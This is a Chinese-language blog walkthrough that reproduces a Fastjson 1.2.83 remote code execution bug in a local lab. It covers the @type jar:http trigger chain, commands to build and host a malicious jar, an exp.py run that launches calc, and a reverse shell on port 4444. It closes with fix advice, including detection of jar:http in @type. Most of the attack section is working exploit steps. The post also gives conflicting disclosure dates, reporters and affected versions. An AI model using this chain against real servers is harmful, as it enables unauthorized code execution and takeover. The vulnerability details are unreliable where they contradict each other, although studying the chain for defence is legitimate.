Fastjson 1.2.83 RCE 漏洞利用

摘要

Fastjson 1.2.83 存在一条不需要任何传统 Gadget 的远程代码执行链:攻击者构造 jar:http:// 形式的 @type 类名,fastjson 在 checkAutoType 的信任路径下会从远程 HTTP 托管服务器下载恶意 jar,加载其中的类并触发类的静态初始化(<clinit>),从而执行任意命令。本文在 Windows + JDK 8 环境下完整复现该漏洞,记录了两弹计算器、反弹 Shell 的全过程,以及复现过程中遇到的三个关键报错与根因。

参考:该漏洞编号 QVD-2026-43021 / CVE-2026-16723,2026-07-21 由 FearsOff 团队披露,影响 fastjson 1.2.68 ~ 1.2.83。

|-------|-------------------------------------|
| 项目 | 内容 |
| 漏洞名称 | Fastjson @JSONType 资源探测远程代码执行漏洞 |
| 披露时间 | 2026-07-19(Kirill Firsov @k_firsov) |
| 影响版本 | Fastjson 1.2.66~1.2.83 |
| 漏洞类型 | 反序列化远程代码执行(RCE) |
| 危害等级 | 高危(CVSS 9.8) |
| 触发方式 | 网络远程,无需鉴权 |
| 利用复杂度 | 低 |

  • Fastjson 1.2.66 -- 1.2.83
  • JDK 8 环境(JDK 9+ 可能仅触发 SSRF)
  • 且 autoTypeSupport 为 false、safeMode 为 false,确认环境条件满足。

漏洞复现

1.介绍

下载下面已经打包好的fastjson-1.2.83-rce漏洞环境

GitHub - 0x7eTeam/fastjson-1.2.83-rce: Fastjson 1.2.68 ~ 1.2.83 RCE · GitHub

复制代码
java -jar target\fastjson-tomcat-jdk8-env-1.0.0.jar
1.pom.xml
  • 类型:Maven项目配置文件
  • 作用:定义靶场的依赖与打包规则,核心引入fastjson 1.2.83和spring boot框架;通过mvn package 可将源码打包为可直接运行的jar包。你的target目录已存在编译产物,说明已完成打包,无需重新编译。
2.src目录
  • 类型:靶场源码目录
  • 作用:Spring Boot Web 项目源代码,核心漏洞入口为src/main/java/com/vuln/fastjson/controller/ParseController.java,功能是接收HTTP POST的JSON数据,调用JSON.parse()执行解析,是漏洞触发点。
3.target目录
  • 类型:编译打包输出目录
  • 作用:存放Maven 编译后的所有产物,核心文件是fastjson-rce-env-1.0.0.jar。这是Spring Boot打包的FatJar(胖包),内置全部依赖与LaunchedURLClassLoader,是满足漏洞触发条件的靶场程序,可直接通过java -jar启动。
4.POC目录

类型:漏洞利用工具集(攻击核心文件全部在此)

GenProbe.java:恶意JAR生成器源码,用于生成包含恶意代码的probe.jar,恶意代码写在静态代码块<clinit>中,类加载时自动执行命令。

exp.py:攻击脚本,自动构造JSON Payload并向靶场接口发送请求,触发漏洞。

lib/目录:编译依赖库,包含asm-9.6.jar(字节码生成工具)和fastjson-1.2.83.jar,编译GenProbe.java时必须引入。

www/目录:HTTP托管目录,生成的恶意probe.jar会放在此处,Python启动HTTP服务后,靶场将从目录远程下载恶意JAR。

2.漏洞原理

触发链

复制代码
@type 类名(jar:http://host:port/xxx!.Class) 
   → ParserConfig.checkAutoType()
   → 黑白名单/denyList 检查通过
   → defaultClassLoader.getResourceAsStream(类名.replace('.','/')+".class")
   → 远程下载恶意 jar
   → fastjson 自带 ASM 探测 hasJsonType()(类是否带 @JSONType 注解)
   → TypeUtils.loadClass() 真正加载类(触发远程 jar 内类定义)
   → 反序列化创建实例 → 类初始化执行 <clinit> → RCE

Fastjson 在处理@type字段时,会调用checkAutoType方法尝试加载类。攻击者可以构造一个特殊的@type 值,例如:

复制代码
jar:http:..2130706433:19090.probe!.POC

其中2130706433是127.0.0.1 的十进制整数表示(用于绕过点号替换逻辑)。

Fastjson 会将该值转换为 JAR URL:

复制代码
jar:http://127.0.0.1:19090/probe!/POC.class

在 Spring Boot 的LaunchedURLClassLoader环境下,该 URL 会被解析并远程加载一个恶意 JAR 包。JAR 包中的静态代码块(<clinit>)会在类加载时自动执行,从而实现任意代码执行。

3.漏洞利用

1.基础环境

校验Java版本(必须为 JDK 8,JDK 9+ 无法触发 RCE)

python版本需要大于3.10

复制代码
java -version
python3 --version

2.启动漏洞靶场

使用target目录下的编译好的jar包启动靶场,默认监听18080端口:

复制代码
java -jar target/fastjson-rce-env-1.0.0.jar

浏览器访问http://127.0.0.1:18080/可正常打开页面

3.弹计算器

1.编译恶意payload脚本
复制代码
javac -encoding UTF-8 -cp "E:\fastjson-1.2.83-rce-main\poc\lib\*" -d "E:\fastjson-1.2.83-rce-main\poc" "E:\fastjson-1.2.83-rce-main\poc\GenProbe.java"
2.生成恶意probe.jar

执行成功后,会在poc/www/目录下生成probe 文件(即恶意 JAR 包)

Windows 弹计算器改最后参数为 "calc"

复制代码
"C:\Java\jdk1.8.0_191\bin\java.exe" -cp "E:\fastjson-1.2.83-rce-main\poc;E:\fastjson-1.2.83-rce-main\poc\lib\asm-9.6.jar;E:\fastjson-1.2.83-rce-main\poc\lib\fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "calc"
3.启动HTTP文件托管服务

靶场需要通过HTTP协议下载恶意JAR,因此用Python在poc/www目录下启动HTTP服务,端口指定为19090:

复制代码
cd /d E:\fastjson-1.2.83-rce-main\poc\www && python -m http.server 19090
4.执行恶意payload,弹计算器
复制代码
python E:\fastjson-1.2.83-rce-main\poc\exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

4.反弹shell

提前新开终端监听4444端口

复制代码
powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\wuwu\nc\listen.ps1 4444

反弹shell:

复制代码
python E:\fastjson-1.2.83-rce-main\poc\exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

反弹shell成功

4.修复建议

  1. 升级版本:升级到已修复的 fastjson 版本,或关注厂商修复公告;
  2. 开启 safeMode:ParserConfig.getGlobalInstance().setSafeMode(true),拒绝一切自动类型解析;
  3. 保持 autoTypeSupport=false:本次复现链路在 autoTypeSupport=false 下依然成立,切勿依赖该开关;
  4. 出网管控:该链需要服务器主动访问攻击者的 HTTP 服务,严格限制应用服务器对外连接、关闭不必要的出网端口;
  5. WAF/IDS 规则:对 @type 中出现的 jar:http、jar:https 等协议前缀做检测拦截;
  6. 最小化依赖:及时清理不再使用的第三方库。

该漏洞最值得警惕的点是:无需任何传统 Gadget、无需开启 autoTypeSupport,仅需目标服务可访问一个攻击者控制的 HTTP 地址即可完成 RCE,实际利用成本很低。

本记录仅用于本地授权环境下的安全研究与防御验证,请勿用于未授权目标。

相关推荐
SCandL1525 分钟前
RHEL9 配置外网完整流程
网络
奇牙coding34 分钟前
doubao-seed-2.1-pro 报 HTTP 401 怎么办?Key 正确也要检查请求头和端点
网络·数据库·http·ai
ESDWAN7 小时前
跨境网络丢包怎么定位?用MTR和Traceroute分析链路问题
网络
武天旭7 小时前
AI安全--AI大模型的隐私保护与法律法规
人工智能·安全
学逆向的7 小时前
C 枚举变量
c语言·开发语言·网络安全
砺星Leetx7 小时前
工业总线选型与对接实战:PROFINET、EtherCAT、EtherNet/IP、PROFIBUS、Modbus-TCP 与 CC-Link
网络·网络协议·tcp/ip·控制器·国产拧紧系统
2401_868534787 小时前
软考网络规划设计师SSL协议知识点详解
服务器·网络
Escalating_xu8 小时前
【Linux 网络编程】手写序列化与反序列化:从 x op y 到能校验的文本协议
linux·运维·网络
POMAGTOR10 小时前
【磁吸式连接器选型工程解析:结构原理、应用场景与选型可靠性要点】
网络·嵌入式硬件
2601_9672127213 小时前
高防护轨道式插座安全结构与工程适配技术说明
大数据·经验分享·安全